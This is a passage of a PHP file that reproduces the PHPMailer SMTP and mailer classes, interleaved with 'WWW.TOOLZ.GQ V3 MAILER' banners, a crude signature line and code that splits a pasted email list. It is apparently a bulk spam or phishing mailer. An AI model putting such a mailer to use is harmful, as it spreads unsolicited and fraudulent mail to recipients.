  690.       # add a LWSP-char to the front of the new line
  691.       # rfc 822 on long msg headers
  692.       if($in_headers) {
  693.           $line = "\t" . $line;
  694.         }
  695.       }
  696.       $lines_out[] = $line;
  697.  
  698.       # now send the lines to the server
  699.     while(list(,$line_out) = @each($lines_out)) {
  700.         if(strlen($line_out) > 0)
  701.         {
  702.           if(substr($line_out, 0, 1) == ".") {
  703.             $line_out = "." . $line_out;
  704.           }
  705.         }
  706.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  707.       }
  708.     }
  709.  
  710.     # ok all the message data has been sent so lets get this
  711.   # over with aleady
  712.   fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  713.  
  714.     $rply = $this->get_lines();
  715.     $code = substr($rply,0,3);
  716.  
  717.     if($this->do_debug >= 2) {
  718.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  719.     }
  720.  
  721.     if($code != 250) {
  722.       $this->error =
  723.         array("error" => "DATA not accepted from server",
  724.               "smtp_code" => $code,
  725.               "smtp_msg" => substr($rply,4));
  726.       if($this->do_debug >= 1) {
  727.         echo "SMTP -> ERROR: " . $this->error["error"] .
  728.                  ": " . $rply . $this->CRLF;
  729.       }
  730.       return false;
  731.     }
  732.     return true;
  733.   }
  734.  
  735.   /**
  736.    * Expand takes the name and asks the server to list all the
  737.    * people who are members of the _list_. Expand will return
  738.    * back and array of the result or false if an error occurs.
  739.    * Each value in the array returned has the format of:
  740.    *     [ <full-name> <sp> ] <path>
  741.    * The definition of <path> is defined in rfc 821
  742.    *
  743.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  744.    *
  745.    * SMTP CODE SUCCESS: 250
  746.    * SMTP CODE FAILURE: 550
  747.    * SMTP CODE ERROR  : 500,501,502,504,421
  748.    * @access public
  749.    * @return string array
  750.    */
  751.   function Expand($name) {
  752.     $this->error = null; # so no confusion is caused
  753.  
  754.     if(!$this->connected()) {
  755.       $this->error = array(
  756.             "error" => "Called Expand() without being connected");
  757.       return false;
  758.     }
  759.  
  760.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  761.  
  762.     $rply = $this->get_lines();
  763.     $code = substr($rply,0,3);
  764.  
  765.     if($this->do_debug >= 2) {
  766.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  767.     }
  768.  
  769.     if($code != 250) {
  770.       $this->error =
  771.         array("error" => "EXPN not accepted from server",
  772.               "smtp_code" => $code,
  773.               "smtp_msg" => substr($rply,4));
  774.       if($this->do_debug >= 1) {
  775.         echo "SMTP -> ERROR: " . $this->error["error"] .
  776.                  ": " . $rply . $this->CRLF;
  777.       }
  778.       return false;
  779.     }
  780.  
  781.     # parse the reply and place in our array to return to user
  782.   $entries = explode($this->CRLF,$rply);
  783.     while(list(,$l) = @each($entries)) {
  784.       $list[] = substr($l,4);
  785.     }
  786.  
  787.     return $list;
  788.   }
  789.  
  790.   /**
  791.    * Sends the HELO command to the smtp server.
  792.    * This makes sure that we and the server are in
  793.    * the same known state.
  794.    *
  795.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  796.    *
  797.    * SMTP CODE SUCCESS: 250
  798.    * SMTP CODE ERROR  : 500, 501, 504, 421
  799.    * @access public
  800.    * @return bool
  801.    */
  802.   function Hello($host="") {
  803.     $this->error = null; # so no confusion is caused
  804.  
  805.     if(!$this->connected()) {
  806.       $this->error = array(
  807.             "error" => "Called Hello() without being connected");
  808.       return false;
  809.     }
  810.  
  811.     # if a hostname for the HELO was not specified determine
  812.   # a suitable one to send
  813.   if(empty($host)) {
  814.       # we need to determine some sort of appopiate default
  815.     # to send to the server
  816.     $host = "localhost";
  817.     }
  818.  
  819.     // Send extended hello first (RFC 2821)
  820.     if(!$this->SendHello("EHLO", $host))
  821.     {
  822.       if(!$this->SendHello("HELO", $host))
  823.           return false;
  824.     }
  825.  
  826.     return true;
  827.   }
  828.  
  829.   /**
  830.    * Sends a HELO/EHLO command.
  831.    * @access private
  832.    * @return bool
  833.    */
  834.   function SendHello($hello, $host) {
  835.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  836.  
  837.     $rply = $this->get_lines();
  838.     $code = substr($rply,0,3);
  839.  
  840.     if($this->do_debug >= 2) {
  841.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  842.     }
  843.  
  844.     if($code != 250) {
  845.       $this->error =
  846.         array("error" => $hello . " not accepted from server",
  847.               "smtp_code" => $code,
  848.               "smtp_msg" => substr($rply,4));
  849.       if($this->do_debug >= 1) {
  850.         echo "SMTP -> ERROR: " . $this->error["error"] .
  851.                  ": " . $rply . $this->CRLF;
  852.       }
  853.       return false;
  854.     }
  855.  
  856.     $this->helo_rply = $rply;
  857.  
  858.     return true;
  859.   }
  860.  
  861.   /**
  862.    * Gets help information on the keyword specified. If the keyword
  863.    * is not specified then returns generic help, ussually contianing
  864.    * A list of keywords that help is available on. This function
  865.    * returns the results back to the user. It is up to the user to
  866.    * handle the returned data. If an error occurs then false is
  867.    * returned with $this->error set appropiately.
  868.    *
  869.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  870.    *
  871.    * SMTP CODE SUCCESS: 211,214
  872.    * SMTP CODE ERROR  : 500,501,502,504,421
  873.    * @access public
  874.    * @return string
  875.    */
  876.   function Help($keyword="") {
  877.     $this->error = null; # to avoid confusion
  878.  
  879.     if(!$this->connected()) {
  880.       $this->error = array(
  881.               "error" => "Called Help() without being connected");
  882.       return false;
  883.     }
  884.  
  885.     $extra = "";
  886.     if(!empty($keyword)) {
  887.       $extra = " " . $keyword;
  888.     }
  889.  
  890.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  891.  
  892.     $rply = $this->get_lines();
  893.     $code = substr($rply,0,3);
  894.  
  895.     if($this->do_debug >= 2) {
  896.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  897.     }
  898.  
  899.     if($code != 211 && $code != 214) {
  900.       $this->error =
  901.         array("error" => "HELP not accepted from server",
  902.               "smtp_code" => $code,
  903.               "smtp_msg" => substr($rply,4));
  904.       if($this->do_debug >= 1) {
  905.         echo "SMTP -> ERROR: " . $this->error["error"] .
  906.                  ": " . $rply . $this->CRLF;
  907.       }
  908.       return false;
  909.     }
  910.  
  911.     return $rply;
  912.   }
  913.  
  914.   /**
  915.    * Starts a mail transaction from the email address specified in
  916.    * $from. Returns true if successful or false otherwise. If True
  917.    * the mail transaction is started and then one or more Recipient
  918.    * commands may be called followed by a Data command.
  919.    *
  920.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  921.    *
  922.    * SMTP CODE SUCCESS: 250
  923.    * SMTP CODE SUCCESS: 552,451,452
  924.    * SMTP CODE SUCCESS: 500,501,421
  925.    * @access public
  926.    * @return bool
  927.    */
  928.   function Mail($from) {
  929.     $this->error = null; # so no confusion is caused
  930.  
  931.     if(!$this->connected()) {
  932.       $this->error = array(
  933.               "error" => "Called Mail() without being connected");
  934.       return false;
  935.     }
  936.  
  937.     $useVerp = ($this->do_verp ? "XVERP" : "");
  938.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  939.  
  940.     $rply = $this->get_lines();
  941.     $code = substr($rply,0,3);
  942.  
  943.     if($this->do_debug >= 2) {
  944.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  945.     }
  946.  
  947.     if($code != 250) {
  948.       $this->error =
  949.         array("error" => "MAIL not accepted from server",
  950.               "smtp_code" => $code,
  951.               "smtp_msg" => substr($rply,4));
  952.       if($this->do_debug >= 1) {
  953.         echo "SMTP -> ERROR: " . $this->error["error"] .
  954.                  ": " . $rply . $this->CRLF;
  955.       }
  956.       return false;
  957.     }
  958.     return true;
  959.   }
  960. /////////////////////////////////////////////////////////////////////////////////////////
  961. /////////////////////////////////////////////////////////////////////////////////////////
  962.  
  963. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER  //////////////////////////////////
  964.  
  965. /////////////////////////////////////////////////////////////////////////////////////////
  966. /////////////////////////////////////////////////////////////////////////////////////////
  967.  
  968.   /**
  969.    * Sends the command NOOP to the SMTP server.
  970.    *
  971.    * Implements from rfc 821: NOOP <CRLF>
  972.    *
  973.    * SMTP CODE SUCCESS: 250
  974.    * SMTP CODE ERROR  : 500, 421
  975.    * @access public
  976.    * @return bool
  977.    */
  978.   function Noop() {
  979.     $this->error = null; # so no confusion is caused
  980.  
  981.     if(!$this->connected()) {
  982.       $this->error = array(
  983.               "error" => "Called Noop() without being connected");
  984.       return false;
  985.     }
  986.  
  987.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  988.  
  989.     $rply = $this->get_lines();
  990.     $code = substr($rply,0,3);
  991.  
  992.     if($this->do_debug >= 2) {
  993.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  994.     }
  995.  
  996.     if($code != 250) {
  997.       $this->error =
  998.         array("error" => "NOOP not accepted from server",
  999.               "smtp_code" => $code,
  1000.               "smtp_msg" => substr($rply,4));
  1001.       if($this->do_debug >= 1) {
  1002.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1003.                  ": " . $rply . $this->CRLF;
  1004.       }
  1005.       return false;
  1006.     }
  1007.     return true;
  1008.   }
  1009.  
  1010.   /**
  1011.    * Sends the quit command to the server and then closes the socket
  1012.    * if there is no error or the $close_on_error argument is true.
  1013.    *
  1014.    * Implements from rfc 821: QUIT <CRLF>
  1015.    *
  1016.    * SMTP CODE SUCCESS: 221
  1017.    * SMTP CODE ERROR  : 500
  1018.    * @access public
  1019.    * @return bool
  1020.    */
  1021.   function Quit($close_on_error=true) {
  1022.     $this->error = null; # so there is no confusion
  1023.  
  1024.     if(!$this->connected()) {
  1025.       $this->error = array(
  1026.               "error" => "Called Quit() without being connected");
  1027.       return false;
  1028.     }
  1029.  
  1030.     # send the quit command to the server
  1031.   fputs($this->smtp_conn,"quit" . $this->CRLF);
  1032.  
  1033.     # get any good-bye messages
  1034.   $byemsg = $this->get_lines();
  1035.  
  1036.     if($this->do_debug >= 2) {
  1037.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1038.     }
  1039.  
  1040.     $rval = true;
  1041.     $e = null;
  1042.  
  1043.     $code = substr($byemsg,0,3);
  1044.     if($code != 221) {
  1045.       # use e as a tmp var cause Close will overwrite $this->error
  1046.     $e = array("error" => "SMTP server rejected quit command",
  1047.                  "smtp_code" => $code,
  1048.                  "smtp_rply" => substr($byemsg,4));
  1049.       $rval = false;
  1050.       if($this->do_debug >= 1) {
  1051.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1052.                  $byemsg . $this->CRLF;
  1053.       }
  1054.     }
  1055.  
  1056.     if(empty($e) || $close_on_error) {
  1057.       $this->Close();
  1058.     }
  1059.  
  1060.     return $rval;
  1061.   }
  1062.  
  1063.   /**
  1064.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1065.    * Returns true if the recipient was accepted false if it was rejected.
  1066.    *
  1067.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1068.    *
  1069.    * SMTP CODE SUCCESS: 250,251
  1070.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1071.    * SMTP CODE ERROR  : 500,501,503,421
  1072.    * @access public
  1073.    * @return bool
  1074.    */
  1075.   function Recipient($to) {
  1076.     $this->error = null; # so no confusion is caused
  1077.  
  1078.     if(!$this->connected()) {
  1079.       $this->error = array(
  1080.               "error" => "Called Recipient() without being connected");
  1081.       return false;
  1082.     }
  1083.  
  1084.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1085.  
  1086.     $rply = $this->get_lines();
  1087.     $code = substr($rply,0,3);
  1088.  
  1089.     if($this->do_debug >= 2) {
  1090.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1091.     }
  1092.  
  1093.     if($code != 250 && $code != 251) {
  1094.       $this->error =
  1095.         array("error" => "RCPT not accepted from server",
  1096.               "smtp_code" => $code,
  1097.               "smtp_msg" => substr($rply,4));
  1098.       if($this->do_debug >= 1) {
  1099.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1100.                  ": " . $rply . $this->CRLF;
  1101.       }
  1102.       return false;
  1103.     }
  1104.     return true;
  1105.   }
  1106.  
  1107.   /**
  1108.    * Sends the RSET command to abort and transaction that is
  1109.    * currently in progress. Returns true if successful false
  1110.    * otherwise.
  1111.    *
  1112.    * Implements rfc 821: RSET <CRLF>
  1113.    *
  1114.    * SMTP CODE SUCCESS: 250
  1115.    * SMTP CODE ERROR  : 500,501,504,421
  1116.    * @access public
  1117.    * @return bool
  1118.    */
  1119.   function Reset() {
  1120.     $this->error = null; # so no confusion is caused
  1121.  
  1122.     if(!$this->connected()) {
  1123.       $this->error = array(
  1124.               "error" => "Called Reset() without being connected");
  1125.       return false;
  1126.     }
  1127.  
  1128.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1129.  
  1130.     $rply = $this->get_lines();
  1131.     $code = substr($rply,0,3);
  1132.  
  1133.     if($this->do_debug >= 2) {
  1134.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1135.     }
  1136.  
  1137.     if($code != 250) {
  1138.       $this->error =
  1139.         array("error" => "RSET failed",
  1140.               "smtp_code" => $code,
  1141.               "smtp_msg" => substr($rply,4));
  1142.       if($this->do_debug >= 1) {
  1143.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1144.                  ": " . $rply . $this->CRLF;
  1145.       }
  1146.       return false;
  1147.     }
  1148.  
  1149.     return true;
  1150.   }
  1151.  
  1152.   /**
  1153.    * Starts a mail transaction from the email address specified in
  1154.    * $from. Returns true if successful or false otherwise. If True
  1155.    * the mail transaction is started and then one or more Recipient
  1156.    * commands may be called followed by a Data command. This command
  1157.    * will send the message to the users terminal if they are logged
  1158.    * in.
  1159.    *
  1160.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1161.    *
  1162.    * SMTP CODE SUCCESS: 250
  1163.    * SMTP CODE SUCCESS: 552,451,452
  1164.    * SMTP CODE SUCCESS: 500,501,502,421
  1165.    * @access public
  1166.    * @return bool
  1167.    */
  1168.   function Send($from) {
  1169.     $this->error = null; # so no confusion is caused
  1170.  
  1171.     if(!$this->connected()) {
  1172.       $this->error = array(
  1173.               "error" => "Called Send() without being connected");
  1174.       return false;
  1175.     }
  1176.  
  1177.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1178.  
  1179.     $rply = $this->get_lines();
  1180.     $code = substr($rply,0,3);
  1181.  
  1182.     if($this->do_debug >= 2) {
  1183.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1184.     }
  1185.  
  1186.     if($code != 250) {
  1187.       $this->error =
  1188.         array("error" => "SEND not accepted from server",
  1189.               "smtp_code" => $code,
  1190.               "smtp_msg" => substr($rply,4));
  1191.       if($this->do_debug >= 1) {
  1192.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1193.                  ": " . $rply . $this->CRLF;
  1194.       }
  1195.       return false;
  1196.     }
  1197.     return true;
  1198.   }
  1199.  
  1200.   /**
  1201.    * Starts a mail transaction from the email address specified in
  1202.    * $from. Returns true if successful or false otherwise. If True
  1203.    * the mail transaction is started and then one or more Recipient
  1204.    * commands may be called followed by a Data command. This command
  1205.    * will send the message to the users terminal if they are logged
  1206.    * in and send them an email.
  1207.    *
  1208.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1209.    *
  1210.    * SMTP CODE SUCCESS: 250
  1211.    * SMTP CODE SUCCESS: 552,451,452
  1212.    * SMTP CODE SUCCESS: 500,501,502,421
  1213.    * @access public
  1214.    * @return bool
  1215.    */
  1216.   function SendAndMail($from) {
  1217.     $this->error = null; # so no confusion is caused
  1218.  
  1219.     if(!$this->connected()) {
  1220.       $this->error = array(
  1221.           "error" => "Called SendAndMail() without being connected");
  1222.       return false;
  1223.     }
  1224.  
  1225.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1226.  
  1227.     $rply = $this->get_lines();
  1228.     $code = substr($rply,0,3);
  1229.  
  1230.     if($this->do_debug >= 2) {
  1231.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1232.     }
  1233.  
  1234.     if($code != 250) {
  1235.       $this->error =
  1236.         array("error" => "SAML not accepted from server",
  1237.               "smtp_code" => $code,
  1238.               "smtp_msg" => substr($rply,4));
  1239.       if($this->do_debug >= 1) {
  1240.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1241.                  ": " . $rply . $this->CRLF;
  1242.       }
  1243.       return false;
  1244.     }
  1245.     return true;
  1246.   }
  1247.  
  1248.   /**
  1249.    * Starts a mail transaction from the email address specified in
  1250.    * $from. Returns true if successful or false otherwise. If True
  1251.    * the mail transaction is started and then one or more Recipient
  1252.    * commands may be called followed by a Data command. This command
  1253.    * will send the message to the users terminal if they are logged
  1254.    * in or mail it to them if they are not.
  1255.    *
  1256.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1257.    *
  1258.    * SMTP CODE SUCCESS: 250
  1259.    * SMTP CODE SUCCESS: 552,451,452
  1260.    * SMTP CODE SUCCESS: 500,501,502,421
  1261.    * @access public
  1262.    * @return bool
  1263.    */
  1264.   function SendOrMail($from) {
  1265.     $this->error = null; # so no confusion is caused
  1266.  
  1267.     if(!$this->connected()) {
  1268.       $this->error = array(
  1269.           "error" => "Called SendOrMail() without being connected");
  1270.       return false;
  1271.     }
  1272.  
  1273.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1274.  
  1275.     $rply = $this->get_lines();
  1276.     $code = substr($rply,0,3);
  1277.  
  1278.     if($this->do_debug >= 2) {
  1279.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1280.     }
  1281.  
  1282.     if($code != 250) {
  1283.       $this->error =
  1284.         array("error" => "SOML not accepted from server",
  1285.               "smtp_code" => $code,
  1286.               "smtp_msg" => substr($rply,4));
  1287.       if($this->do_debug >= 1) {
  1288.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1289.                  ": " . $rply . $this->CRLF;
  1290.       }
  1291.       return false;
  1292.     }
  1293.     return true;
  1294.   }
  1295.  
  1296.   /**
  1297.    * This is an optional command for SMTP that this class does not
  1298.    * support. This method is here to make the RFC821 Definition
  1299.    * complete for this class and __may__ be implimented in the future
  1300.    *
  1301.    * Implements from rfc 821: TURN <CRLF>
  1302.    *
  1303.    * SMTP CODE SUCCESS: 250
  1304.    * SMTP CODE FAILURE: 502
  1305.    * SMTP CODE ERROR  : 500, 503
  1306.    * @access public
  1307.    * @return bool
  1308.    */
  1309.   function Turn() {
  1310.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1311.                                     "is not implemented");
  1312.     if($this->do_debug >= 1) {
  1313.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1314.     }
  1315.     return false;
  1316.   }
  1317.  
  1318.   /**
  1319.    * Verifies that the name is recognized by the server.
  1320.    * Returns false if the name could not be verified otherwise
  1321.    * the response from the server is returned.
  1322.    *
  1323.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1324.    *
  1325.    * SMTP CODE SUCCESS: 250,251
  1326.    * SMTP CODE FAILURE: 550,551,553
  1327.    * SMTP CODE ERROR  : 500,501,502,421
  1328.    * @access public
  1329.    * @return int
  1330.    */
  1331.   function Verify($name) {
  1332.     $this->error = null; # so no confusion is caused
  1333.  
  1334.     if(!$this->connected()) {
  1335.       $this->error = array(
  1336.               "error" => "Called Verify() without being connected");
  1337.       return false;
  1338.     }
  1339.  
  1340.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1341.  
  1342.     $rply = $this->get_lines();
  1343.     $code = substr($rply,0,3);
  1344.  
  1345.     if($this->do_debug >= 2) {
  1346.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1347.     }
  1348.  
  1349.     if($code != 250 && $code != 251) {
  1350.       $this->error =
  1351.         array("error" => "VRFY failed on name '$name'",
  1352.               "smtp_code" => $code,
  1353.               "smtp_msg" => substr($rply,4));
  1354.       if($this->do_debug >= 1) {
  1355.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1356.                  ": " . $rply . $this->CRLF;
  1357.       }
  1358.       return false;
  1359.     }
  1360.     return $rply;
  1361.   }
  1362.  
  1363.   /*******************************************************************
  1364.    *                       INTERNAL FUNCTIONS                       *
  1365.    ******************************************************************/
  1366.  
  1367.   /**
  1368.    * Read in as many lines as possible
  1369.    * either before eof or socket timeout occurs on the operation.
  1370.    * With SMTP we can tell if we have more lines to read if the
  1371.    * 4th character is '-' symbol. If it is a space then we don't
  1372.    * need to read anything else.
  1373.    * @access private
  1374.    * @return string
  1375.    */
  1376.   function get_lines() {
  1377.     $data = "";
  1378.     while($str = @fgets($this->smtp_conn,515)) {
  1379.       if($this->do_debug >= 4) {
  1380.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1381.                  $this->CRLF;
  1382.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1383.                  $this->CRLF;
  1384.       }
  1385.       $data .= $str;
  1386.       if($this->do_debug >= 4) {
  1387.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1388.       }
  1389.       # if the 4th character is a space then we are done reading
  1390.     # so just break the loop
  1391.     if(substr($str,3,1) == " ") { break; }
  1392.     }
  1393.     return $data;
  1394.   }
  1395.  
  1396. }
  1397.  // Here Bitchz Hilmy
  1398.  
  1399. $allemails = split("\n", $emaillist);
  1400. $numemails = count($allemails);
  1401.  
  1402. class PHPMailer {
  1403.  
  1404.   /////////////////////////////////////////////////
  1405.   // PROPERTIES, PUBLIC
  1406.   /////////////////////////////////////////////////
  1407.  
  1408.   /**
  1409.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1410.    * @var int
  1411.    */
  1412.   var $Priority          = 3;
  1413.  
  1414.   /**
  1415.    * Sets the CharSet of the message.
  1416.    * @var string
  1417.    */
  1418.   var $CharSet           = 'us-ascii';
  1419.  
  1420.   /**
  1421.    * Sets the Content-type of the message.
  1422.    * @var string
  1423.    */
  1424.   var $ContentType        = 'text/plain';
  1425.  
  1426.   /**
  1427.    * Sets the Encoding of the message. Options for this are "8bit",
  1428.    * "7bit", "binary", "base64", and "quoted-printable".
  1429.  
  1430.    * @var string
  1431.    */
  1432.   var $Encoding          = 'quoted-printable';
  1433.  
  1434.   /**
  1435.    * Holds the most recent mailer error message.
  1436.    * @var string
  1437.    */
  1438.   var $ErrorInfo         = '';
  1439.  
  1440.   /**
  1441.    * Sets the From email address for the message.
  1442.    * @var string
  1443.    */
  1444.   var $From              = '';
  1445.  
  1446.   /**
  1447.    * Sets the From name of the message.
  1448.    * @var string
  1449.    */
  1450.   var $FromName          = '';
  1451.  
  1452.   /**
  1453.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1454.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1455.    * @var string
  1456.    */
  1457.   var $Sender            = '';
  1458.  
  1459.   /**
  1460.    * Sets the Subject of the message.
  1461.    * @var string
  1462.    */
  1463.   var $Subject           = '';
  1464.  
  1465.   /**
  1466.    * Sets the Body of the message.  This can be either an HTML or text body.
  1467.    * If HTML then run IsHTML(true).
  1468.    * @var string
  1469.    */
  1470.   var $Body              = '';
  1471.  
  1472.   /**
  1473.    * Sets the text-only body of the message.  This automatically sets the
  1474.    * email to multipart/alternative.  This body can be read by mail
  1475.    * clients that do not have HTML email capability such as mutt. Clients
  1476.    * that can read HTML will view the normal Body.
  1477.    * @var string
  1478.    */
  1479.   var $AltBody           = '';
  1480.  
  1481.   /**
  1482.    * Sets word wrapping on the body of the message to a given number of
  1483.    * characters.
  1484.    * @var int
  1485.    */
  1486.   var $WordWrap          = 0;
  1487.  
  1488.   /**
  1489.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1490.    * @var string
  1491.    */
  1492.   var $Mailer            = 'mail';
  1493.  
  1494.   /**
  1495.    * Sets the path of the sendmail program.
  1496.    * @var string
  1497.    */
  1498.   var $Sendmail          = '/usr/sbin/sendmail';
  1499.  
  1500.   /**
  1501.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1502.    * is in a different directory than the PHP include path.
  1503.    * @var string
  1504.    */
  1505.   var $PluginDir         = '';
  1506.  
  1507.   /**
  1508.    * Holds PHPMailer version.
  1509.    * @var string
  1510.    */
  1511.   var $Version           = "";
  1512.  
  1513.   /**
  1514.    * Sets the email address that a reading confirmation will be sent.
  1515.    * @var string
  1516.    */
  1517.   var $ConfirmReadingTo  = '';
  1518.  
  1519.   /**
  1520.    * Sets the hostname to use in Message-Id and Received headers
  1521.    * and as default HELO string. If empty, the value returned
  1522.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1523.    * @var string
  1524.    */
  1525.   var $Hostname          = '';
  1526.  
  1527.   /**
  1528.    * Sets the message ID to be used in the Message-Id header.
  1529.    * If empty, a unique id will be generated.
  1530.    * @var string
  1531.    */
  1532.   var $MessageID         = '';
  1533.  
  1534.   /////////////////////////////////////////////////
  1535.   // PROPERTIES FOR SMTP
  1536.   /////////////////////////////////////////////////
  1537.  
  1538.   /**
  1539.    * Sets the SMTP hosts.  All hosts must be separated by a
  1540.    * semicolon.  You can also specify a different port
  1541.    * for each host by using this format: [hostname:port]
  1542.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1543.    * Hosts will be tried in order.
  1544.    * @var string
  1545.    */
  1546.   var $Host        = 'localhost';
  1547.  
  1548.   /**
  1549.    * Sets the default SMTP server port.
  1550.    * @var int
  1551.    */
  1552.   var $Port        = 25;
  1553.  
  1554.   /**
  1555.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1556.    * @var string
  1557.    */
  1558.   var $Helo        = '';
  1559.  
  1560.   /**
  1561.    * Sets connection prefix.
  1562.    * Options are "", "ssl" or "tls"
  1563.    * @var string
  1564.    */
  1565.   var $SMTPSecure = "";
  1566. /////////////////////////////////////////////////////////////////////////////////////////
  1567. /////////////////////////////////////////////////////////////////////////////////////////
  1568.  
  1569. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER  //////////////////////////////////
  1570.  
  1571. /////////////////////////////////////////////////////////////////////////////////////////
  1572. /////////////////////////////////////////////////////////////////////////////////////////
  1573.  
  1574.   /**
  1575.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1576.    * @var bool
  1577.    */
  1578.   var $SMTPAuth     = false;
  1579.  
  1580.   /**
  1581.    * Sets SMTP username.
  1582.    * @var string
  1583.    */
  1584.   var $Username     = '';
  1585.  
  1586.   /**
  1587.    * Sets SMTP password.
  1588.    * @var string
  1589.    */
  1590.   var $Password     = '';
  1591.  
  1592.   /**
  1593.    * Sets the SMTP server timeout in seconds. This function will not
  1594.    * work with the win32 version.
  1595.    * @var int
  1596.    */
  1597.   var $Timeout      = 10;
  1598.  
  1599.   /**
  1600.    * Sets SMTP class debugging on or off.
  1601.    * @var bool
  1602.    */
  1603.   var $SMTPDebug    = false;
  1604.  
  1605.   /**
  1606.    * Prevents the SMTP connection from being closed after each mail
  1607.    * sending.  If this is set to true then to close the connection
  1608.    * requires an explicit call to SmtpClose().
  1609.    * @var bool
  1610.    */
  1611.   var $SMTPKeepAlive = false;
  1612.  
  1613.   /**
  1614.    * Provides the ability to have the TO field process individual
  1615.    * emails, instead of sending to entire TO addresses
  1616.    * @var bool
  1617.    */
  1618.   var $SingleTo = false;
  1619. /////////////////////////////////////////////////////////////////////////////////////////
  1620. /////////////////////////////////////////////////////////////////////////////////////////
  1621.  
  1622. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER  //////////////////////////////////
  1623.  
  1624. /////////////////////////////////////////////////////////////////////////////////////////
  1625. /////////////////////////////////////////////////////////////////////////////////////////
  1626.   /////////////////////////////////////////////////
  1627.   // PROPERTIES, PRIVATE
  1628.   /////////////////////////////////////////////////
  1629.  
  1630.   var $smtp            = NULL;
  1631.   var $to              = array();
  1632.   var $cc              = array();
  1633.   var $bcc             = array();
  1634.   var $ReplyTo         = array();
  1635.   var $attachment      = array();
  1636.   var $CustomHeader    = array();
  1637.   var $message_type    = '';
  1638.   var $boundary        = array();
  1639.   var $language        = array();
  1640.   var $error_count     = 0;
  1641.   var $LE              = "\n";
  1642.   var $sign_key_file   = "";
  1643.   var $sign_key_pass   = "";
  1644.  
  1645.   /////////////////////////////////////////////////
  1646.   // METHODS, VARIABLES
  1647.   /////////////////////////////////////////////////
  1648.  
  1649.   /**
  1650.    * Sets message type to HTML.
  1651.    * @param bool $bool
  1652.    * @return void
  1653.    */
  1654.   function IsHTML($bool) {
  1655.     if($bool == true) {
  1656.       $this->ContentType = 'text/html';
  1657.     } else {
  1658.       $this->ContentType = 'text/plain';
  1659.     }
  1660.   }
  1661.  
  1662.   /**
  1663.    * Sets Mailer to send message using SMTP.
  1664.    * @return void
  1665.    */
  1666.   function IsSMTP() {
  1667.     $this->Mailer = 'smtp';
  1668.   }
  1669.  
  1670.   /**
  1671.    * Sets Mailer to send message using PHP mail() function.
  1672.    * @return void
  1673.    */
  1674.   function IsMail() {
  1675.     $this->Mailer = 'mail';
  1676.   }
  1677.  
  1678.   /**
  1679.    * Sets Mailer to send message using the $Sendmail program.
  1680.    * @return void
  1681.    */
  1682.   function IsSendmail() {
  1683.     $this->Mailer = 'sendmail';
  1684.   }
  1685.  
  1686.   /**
  1687.    * Sets Mailer to send message using the qmail MTA.
  1688.    * @return void
  1689.    */
  1690.   function IsQmail() {
  1691.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1692.     $this->Mailer = 'sendmail';
  1693.   }
  1694.  
